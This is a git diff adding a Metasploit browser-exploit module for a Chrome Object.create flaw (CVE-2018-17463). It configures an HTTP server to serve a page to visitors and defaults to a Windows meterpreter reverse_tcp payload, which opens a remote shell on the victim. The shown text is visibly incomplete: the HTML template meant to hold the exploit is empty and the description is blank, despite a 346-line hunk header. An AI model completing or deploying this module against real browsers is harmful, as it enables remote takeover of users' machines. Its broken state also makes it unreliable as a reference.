diff --git a/modules/exploits/multi/browser/chrome_object_create.rb b/modules/exploits/multi/browser/chrome_object_create.rb new file mode 100644 index 0000000000..a4ec1d467c --- /dev/null +++ b/modules/exploits/multi/browser/chrome_object_create.rb @@ -0,0 +1,346 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit', + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'saelo', # discovery and exploit + 'timwr', # metasploit module + ], + 'References' => [ + ['CVE', '2018-17463'], + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => 'windows', + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }, + 'Targets' => [ [ 'Automatic', { } ] ], + 'DisclosureDate' => 'Sep 25 2018')) + end + + def on_request_uri(cli, request) + print_status("Sending #{request.uri} to #{request['User-Agent']}") + html = %Q^ + + + + + + + + + ^ + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) + end + +end